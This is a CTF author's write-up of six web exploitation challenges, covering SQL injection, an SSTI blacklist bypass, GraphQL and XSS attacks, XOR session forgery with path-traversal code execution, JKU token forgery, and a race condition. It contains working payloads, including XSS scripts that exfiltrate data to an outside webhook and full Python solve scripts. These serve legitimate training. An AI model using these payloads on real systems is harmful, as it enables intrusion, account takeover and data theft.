17 min read

NCSC 4.0 CTF Author's writeup - Web exploitation

Table of Contents

Yooo, welcome to this long writeup. Well, I will be talking mainly about the challenges I released in the NCSC 4.0 CTF. The ctf was 12 hours long and many great teams joined. It was really a challenge as I didn’t know what difficulty the challenges should be. So, I made 3 easy and 3 hard. The hard challenges are real life scenarios that I have read in writeups. They might seem intimidating but I made sure to make them guided in a way the participant will only have one thing to exploit at a time and it’s the most appearant one.

warmup - 500pts

Warming up for the nodejs challenges fiesta ! Warmup's challenge image

Okay, as we can see

HTML's code

Source was available, so let’s read it

It’s an express application that verifies the existence of a cookie. The cookie is base64 encoded and should tranform to a JSON format. Challenge's code

The flag is console.log in the application that’s all we have. Well, we should notice the use of a weird library called parsetrace Parse trace at work

If you look for it in its npm page. Npm package of parsetrace

You will find out that it prints the lines of code near the one that raised the execution which is enough to know that our goal is to raise an exception inside the application. _You can tell that too by the way try catch blocks are seperated.

Now, let’ see what can do

The interesting part is left off the screen

So this call to the toString might raise an exception !

So by this I understand that the null type doesn’t have a toString function. so we can write out final payload

ewoidXNlcm5hbWUiOiJhZG1pbiIsCiJwYXNzd29yZCI6InRoaXNfaXNfdGhlX3JlYWxfcGFzc3dvcmRfaXQnc190aGVfc2FtZV9kZXBsb3llZCIsCiJuaWNrbmFtZSI6bnVsbAp9

et voila !

baby-sqli - 500pts

An easy challenge that is about a simple SQL injection. baby-sqli front

baby-sqli front2

I captured the request and tried to see how it works and eventually breaks

baby-sqli breaking request

Some kind of blacklist is running on the background. Well, no further due the playlist will inhibit all kind of special chars except ' baby-sqli blacklist

After a bit of tinkering the participant should trigger the SQLI with something similar to this ' or 1=1 or id='a1. baby-sqli working 1

As we can see the values returned from the table are pretty much random or hard to tell other ones similar to them except the owner’s one !

So by trying to increment the owner by 1 each time in this payload ' or owner=1 or id='a1

baby-sqli flag

We get the flag at last !

baby-ssti - 500pts

Forcing people to do python ssti the right way hihi.

baby-ssti front

Well, in this challenge we got the source code. We have to visit the /source to get it. It might look bad in the browser as it contains HTML code which will be rendered baby-ssti /source

So let’s download it. I use wget to avoid typing the extra -o with curl xdd

Opening the file, we will notice, quickly

  1. The existence of a SSTI vulnerability baby-ssti ssti

  2. A wicked blacklist baby-ssti blacklist

As usual, the challenges seems hard but they are pretty easy. At the competition, I completely forgot that participants can find the /source endpoint by visiting the /robots.txt and so I made an announcement about it. /source during ctf confusion

Well, let’s go back how we can get our dear flag. The challenge aim is to perform the basic SSTI vulnerability without any super payload, which will work in all situations.

At first let’s find all the useful classes that will help us get code execution baby-ssti 1

We will get something like this baby-ssti output 1

Now, let me show you a secret strategy that helps find the offset of the class that I am looking for

Using Cyberchef I paste the output baby-ssti cyberchef

Now, I just CTRL+F what I am looking for. Here, I went to look for the <class '_io._IOBase'> class as it has the FileIO class which allows to read a file with the read function.

As we can see it’s the 93th well which will become 92 as the line numbers start from 1 ( Even if it didn’t work, you can just enumerate down or up by 2,3 elements till the payload works )

Now, I can finish the rest my payload but wait we got read in the blacklist too ! Well, we can do the |attr('\x72\x65\x61\x64')() which will bypass the blacklist finely.

baby-ssti 2 baby-ssti flag

Lunacra - 1000pts

Lunacra front

Well, reading the shady text on the homepage. We can tell a few things which put many participants off the track. Especially this sentence Share your precious light with only the ones you accepted. We can tell that we choose who can view our posts/stories or whatever they are !

Let’s try connecting Lunacra auth

Okay, we see the admin thing, create a story part and it’s still ambiguous. In this challenge, I tried to make it very similar to real life situations. No source code is given but you have everything you need to exploit the app at your reach. If you know where to find it of course !

Opening burp on the side and trying to just use the website a bit and logging the api requests at the same time.

Functionalities

The application works as following :

  • A user can view only the requests of his friends ( As the sentence in the homepage implies )
  • A user has the friend as an admin.
  • If you enumerate and use the bot you will know that the admin has nothing interesting, and the goal is to find another use who is the ultimate demon king !

Enumeration

Lunacra burp api

It’s using graphql and as we can see some queries there running. The queries are made with javascript as no redirection of any kind happened. So, the most compelling thing is to do some graphql introspection and see if it works

Here is a good article that can guide you through enumerating the /graphql endpoint. Using the introspection payload, we will find many good things Lunacra gql types

We can find the types used in the queries so we don’t feel lost later.

Mutations

Lunacra gql mutations

Our queries

Lunacra gql queries

So, by going deeper we can find many mutations and queries. I left a hint here, that I in the javascript file I defined all mutations and queries gql except one which is SearchUser

Tricky js file

Also, even the participant decided to try the other ones, he will find at last that they are either useless or won’t lead you to anywhere !

Lunacra gql searchUser

The SearchUser is pretty simple. It accepts userHandle as an argument, and returns a boolean which means the user with the handle exists or no !

If we try to send a request with our account we will get unauthorized which means we need admin privileges to access that endpoint. Here comes the admin bot. We can try to assess the behavior of the bot by creating a random story and sending the bot to visit it

<script>
  fetch("YOUR_WEBHOOK_HERE");
</script>

It will certainly hit ! Now, we got XSS and a function to leak the userHandle something missing as we need to see his stories which means we need to add him as a friend

Lunacra gql addFriend

The friend query needs the referral code but from where can we get it ?

Lunacra gql User

Here we go, a User query will get us all the needed informations as in the UserPublicInfos type we have

Lunacra gql UserPublicInfos

Both the userHandle and the referralCode. Let’s do thiis

Here is the story that will the user

<!DOCTYPE html>
<html>

<body>
    <script>

        async function exploit(){
        let chars="0123456789abcdefghijklmnopqrstuvwxyz_-"
        let flag = "secret_user"; // Just to make search easier. I gave this as a free hint through the competition for anyone who got here
const ENDPOINT="/graphql"
const sendGQLRequest = async (query, variables, headers) => {
  const resp = await fetch(ENDPOINT, {
    method: "post",
    credentials: "include",

    headers: {
      "content-type": "application/json",
      ...headers,
    },
    body: JSON.stringify({
      query,
      variables
    })
  })


  const responseBody = await resp.json()

  return { resp, responseBody }
}

const searchUser = (variables) => sendGQLRequest(SEARCH_USER_MUT, variables);

const SEARCH_USER_MUT = `query SearchUser($userHandle: String!) {
  SearchUser(userHandle: $userHandle)
}`

    let i =0;
    while(true&&flag.length<30){

        skip=false

        await searchUser({userHandle: flag + chars[i]}).then(async (res) => {
            // console.log(res.responseBody.data.SearchUser)

            if(res.responseBody.data.SearchUser){
                fetch("https://en01dvvl9f4ych.x.pipedream.net/?flag=" + flag )
                flag += chars[i];
                i=0;
                skip=true
            }
        })
        if(!skip)
            i++

        if(i==chars.length) break;
    }
}

exploit()
    </script>

</html

Lunacra leaaaky leaak

Okay so our userHandle is Leaked !.

Now, let’s try to get the user referral code with this

<script>
  const ENDPOINT = "http://web:4000/graphql";

  const sendGQLRequest = async (query, variables, headers) => {
    const resp = await fetch(ENDPOINT, {
      method: "post",
      credentials: "include",

      headers: {
        "content-type": "application/json",
        ...headers,
      },
      body: JSON.stringify({
        query,
        variables,
      }),
    });
    const responseBody = await resp.json();

    return { resp, responseBody };
  };

  const query = `{
  User(userHandle: "secret_user_a0c5f626-647f-4a66-8") {
    userHandle
    referralCode
  }
}`;

  async function exploit() {
    // To check if it went through
    fetch("https://en01dvvl9f4ych.x.pipedream.net/?cookie=test1");
    await sendGQLRequest(query, {}, {}).then((x) =>
      fetch(
        "https://en01dvvl9f4ych.x.pipedream.net/?cookie=" + JSON.stringify(x)
      )
    );
  }

  exploit();
</script>

Lunacra user leak

Let’s add this super demon king as our new friend :D Lunacra add demon king

Lunacra demon king posts

Lunacra flag

Tadaaa, seeing his stories we find the flag.

Rust0Songs - 1000pts

A spotify like application but made with rust. Well, to make this challenge I had to spend one week writing and talking only with rust. It was a very painful process at first but the moment I finished the rust’s holy book, I become half fluent or let’s say I become to have a hunch of what’s going wrong when an error arises :,)

Rust0Songs front

This challenge is a code review one. The vulnerabilities are simple but it’s a complete working app with many lines of code . Rust0Songs code

A tip to approach the challenge was to use the frontend as it reflects the available functionalities and try to read the part of code getting executed on the backend’s code. You will understand what’s happening in no time.

Let’s jump directly to the vulnerable code and it’s a bad authentication mechanism. It’s a session based auth implemented with a bad algo.

Getting admin

Rust0Songs Rust0Songs

Rust0Songs

Let’s see how the token is generated at the first place !

Rust0Songs

Rust0Songs

Alright, that’s pretty vulnerable for anyone who knows the xor operation we know if we can tell how the user_des string looks by xoring the result which is the base64 decoded token with with it we can retrieve the SECRET_KEY. Pretty cool ! But how does the deserialized user looks ?

Rust0Songs deser user

Rust0Songs userStruct

Looking to the docs rust packages’ docs are super cool Rust0Songs serde_yaml docs

Okay so by this example, we should understand that the user will have

username: value_here
email: value_here

I provided the docker files so any participant can just log the content of the deserialized object !

import requests
from pwn import xor
import base64
import hashlib
import sys

URL = "http://localhost:4040/"
session = requests.Session()
resp = session.post(URL+"auth/register",
json={"username": "test", "email": "test@gmail.com", "password": "test"})
resp = session.post(
URL+"auth/login", json={"email": "test@gmail.com", "password": "test"})
print(resp.json()['id_token'])
token = resp.json()['id_token']

decoded_token = base64.b64decode(token)
print(b"decoded token " + decoded_token)

file_content = b"username: test\nemail: test@gmail.com"
encoded_des_user = base64.b64encode(file_content)

secret_key = xor(encoded_des_user, decoded_token)
print(f"[+] secret key= {secret_key}")
secret_key = input(">>>> Insert the secret key, try to notice the recurrent the pattern\n")

assert(secret_key == "6e4ee8574720b2f2de04c1b915d099cd%")

If the deserialized user string is longer than the secret key so the secret key will repeat itself to match the deser_user string’s length. This prompt is to detect the reoccurence. You can use a crypto library but I added ’%’ so it’s easily detectable

Then we generate the admin’s token. We can find in the seed file the infos for the admin ! Rust0Songs generate

So we generate it

file_content = """username: admin email: admin@gmail.com""".strip().encode('utf-8')
encoded_des_user = base64.b64encode(file_content)
session_before_hash = xor(encoded_des_user, secret_key.encode('utf-8'))

print(f"[+] session after hash= {base64.b64encode(session_before_hash)}\n\n")
admin_session_key = base64.b64encode(session_before_hash)

print(f"[+] admin_session_key= {admin_session_key}\n\n")

print(f"[+] session after hash= {hashlib.md5(admin_session_key).hexdigest()}")

Rust0Songs code execution

Admin part - Code execution

Now, that we are admin we can access the admin’s view Rust0Songs admin view

So we can manage do a bunch of admin’s stuff. After clicking, we can find that only two features work.

The createSong one and the runScript. Let’s see the code behind it.

First the createSong during it there is a call to upload cover file and song file. Let’s see how it’s done

Rust0Songs createSong

Rust0Songs upload1

So we got an arbitrary file upload that we can use. Let’s go back to the convert and script running thing. As we might be able to upload a script that we can execute !

Rust0Songs convertSong

Here we goo, yes we do have that !!! Even there is a file extension restriction on the song’s file. It doesn’t matter as we will be executing it using the bash command :D !

The folder structure is like this

Rust0Songs folder structure

So let’s write a cool script to upload the files, make sure we have a bad song file with the scripts then execute it :D

open('file.txt', 'rb') # create an empty demo file
files = {
'song_file': ('../../scripts/file.mp3', open('file.txt', 'r')),
'cover_image': ('file.png', open('file.txt', 'r'))
}

resp = session.post(URL+'songs/upload',
headers={'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")}, files=files, data={})

print("Response text", resp.text)
assert(resp.status_code == 200)

resp = session.get(URL + 'convert', json={"script_id": "file.mp3"})
resp = session.post(URL + 'convert', json={"script_id": "file.mp3", "song_id": 1}, headers={
'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")})
print(resp.json())

What’s inside file.txt

ls /

and here is the whole script for solving this challenge

import requests

from pwn import xor

import base64

import hashlib
import sys
URL = "http://rust0songs.ctf.securinets.tn/"
session = requests.Session()

resp = session.post(URL+"auth/register",
json={"username": "test1", "email": "test1@gmail.com", "password": "test1"})
resp = session.post(
URL+"auth/login", json={"email": "test1@gmail.com", "password": "test1"})


print(resp.text)

print(resp.json()['id_token'])


token = resp.json()['id_token']
decoded_token = base64.b64decode(token)
print(b"decoded token " + decoded_token)

file_content = b"username: test1\nemail: test@gmail.com"
encoded_des_user = base64.b64encode(file_content)
secret_key = xor(encoded_des_user, decoded_token)
print(f"[+] secret key= {secret_key}")

secret_key = input(">>>> Insert the secret key, try to notice the recurrent the pattern\n")

secret_key = secret_key.strip()



file_content = """username: admin
email: admin@gmail.com""".strip().encode('utf-8')
encoded_des_user = base64.b64encode(file_content)



session_before_hash = xor(encoded_des_user, secret_key.encode('utf-8'))

print(f"[+] session after hash= {base64.b64encode(session_before_hash)}\n\n")

admin_session_key = base64.b64encode(session_before_hash)

print(f"[+] admin_session_key= {admin_session_key}\n\n")



print(f"[+] session before hash= {admin_session_key}")

print(f"[+] session before hash should be= Uj16CQZVAF9WYGcGK3UgWQYyXEEgXDRNaGIIQ3ZQIQx/cVREBw56W1VjcUJSIQcMUFZVDQ==")

print("\n\n")

print(f"[+] session after hash= {hashlib.md5(admin_session_key).hexdigest()}")

print(
f"[+] session should be= {hashlib.md5('Uj16CQZVAF9WYGcGK3UgWQYyXEEgXDRNaGIIQ3ZQIQx/cVREBw56W1VjcUJSIQcMUFZVDQ=='.encode('utf-8')).hexdigest()}")

print(hashlib.md5(admin_session_key).hexdigest())

open('file.txt', 'rb') # create an empty demo file

files = {
'song_file': ('../../scripts/file.mp3', open('file.txt', 'r')),
'cover_image': ('file.png', open('file.txt', 'r'))
}

resp = session.post(URL+'songs/upload',

headers={'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")}, files=files, data={})

print("Response text", resp.text)
assert(resp.status_code == 200)


resp = session.get(URL + 'convert', json={"script_id": "file.mp3"})

resp = session.post(URL + 'convert', json={"script_id": "file.mp3", "song_id": 1}, headers={
'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")})
print(resp.json())

Rust0Songs code execution 2

Rust0Songs code execution 3

Yeah what’s worse that logic flaws and especially in rust.

Citz - 1000pts

A cool life simulation game, inspired by the daily struggle :,_)

Citz front

It’s a react web app, served by an express server. Let’s use the app a bit !

Citz game

Citz game 2

After the end of each day the tax of the government will be taken from you balance. The taxes this year are 50đź’°

Okay so each day, we can do a certain amount of activities and at the end of it taxes worth 50$ will be taken from our balance. That’s sad as we will become poor eventually and the flag is (720$) !!!

We need to find a way to become rich. First, let’s enumerate the app by using and clicking around

Enumeration

The admin view, we got a help button that download a admin.js file that contains unauthorized

Citz admin view

Citz admin file

Citz unauthorized admin

Citz enumeration

Citz /login

Let’s see what’s there inside the token Citz auth token

Interesting a JKU token, some ideas should start popping up seeing that. Citz open redirect

And a /logout endpoint with open redirect. Well, to cut it short as this writeup got a little bit too much long. The server only accepts jku url’s that start with localhost:4000. We can fool him to read our own public key by using the open redirect vulnerability. It’s pretty simple. All we need is to host a local server that has a jkus.json file. Make sure the key identifier kid is the same as the token as that kid is fixed and if it doesn’t exist then it will fail verifying. Here is a cool blog that explains it further

Becoming admin

Blog article about JKU claim misuse

Citz exploit

Okay I changed the sub to 1 and got admin

Citz info

Open the browser console and paste

localStorage.setItem("token", "YOUR_TOKEN_HERE");

and you can access admin in the app !

Now clicking on the help button we get

Getting rich

Citz Getting admin.js

Which looks like the source code for the admin routes

Inside we can find a route named give-dividends. Which send some balance to the user. But this bonus can be added only once or as it seems. the value of dividend is 370 so we need to have the admin add twice to a user to get the flag. It’s quite simple as we can notice the race condition

  • Lack of await + The fact we are saving the new user balance before adding the dividend to the database

Citz admin.js

Citz admin.ts

import asyncio
import httpx
import json

async def use_code(client):
 resp = await client.post(f'http://localhost:5000/api/admin/give-dividends', headers={"Authorization":"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEiLCJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjUwMDAvbG9nb3V0P3JlZGlyZWN0X3VyaT1odHRwOi8vbG9jYWxob3N0OjUwMDAvLndlbGwta25vd24vandrcy5qc29uIn0.eyJzdWIiOjEsImlhdCI6MTY3OTE1MjQ4MywiZXhwIjoxNjc5MTUzMzgzfQ.pgmziu-c1CtG6lud8NkPL18SVzr34u2LG0CKfeM-sMvePMtVJLxyMtITdTpS0_VPEoc87jx3A9EfPUSAiSTFUn6-4bCzAhM74lrH6zXVAINmgerYVse0IJPo2Npo8kM5zIsCbS6KL6Utd8Ya3xIF_9eyIQp1crSeq0PtB18k9FDNjHLBZCld6eXuQ3RdxVkUgNvnRqilVhNzz9qsv5uwRYdh_E_ovnVP3Lbuj9-6j1UCGgc8YO3FxitIRyrN17m7pdKJIHIP7ptLhWVez_tUd7c6mGrVj17FLzbKwJB53xRmoReuY0FKGByDfbUwYpCC0rI_5wkC7ueN8tr0xhOjKg"}, json={"to": 1})
return resp.text

async def main():

 async with httpx.AsyncClient() as client:

  tasks = []

  for _ in range(100): #20 times
   tasks.append(asyncio.ensure_future(use_code(client)))

  # Get responses
  results = await asyncio.gather(*tasks, return_exceptions=True)
  # Print results
  for r in results:
   print(r)
  # Async2sync sleep
  await asyncio.sleep(0.5)
  print(results)

  asyncio.run(main()
  )

Citz running script

Citz getting rich

Citz flag

Happy hacking !

Final words

Looking back one year ago, I vividly remember participating in this event as a newcomer, posting happily my writeups and taking my first steps in the field. Little did I know that a year later, I would be back as an author. Proud of the progress I’ve made since then.

I am deeply grateful for the encouragement, guidance, and support I received from so many people. I want to thank the event’s committee for organizing such a great opportunity for writers to showcase their skills, and all the participants, especially the teams from Algeria, who made this experience truly memorable.

As I look forward to the future, I am excited to continue honing my skills and making better more advanced challenges in the future. Until next time, Happy hacking !

If you got any questions feel free to ask me on twitter @YBK_Firelights or on discord Ophelius#3779. Happy hacking \o/ 🧨⚡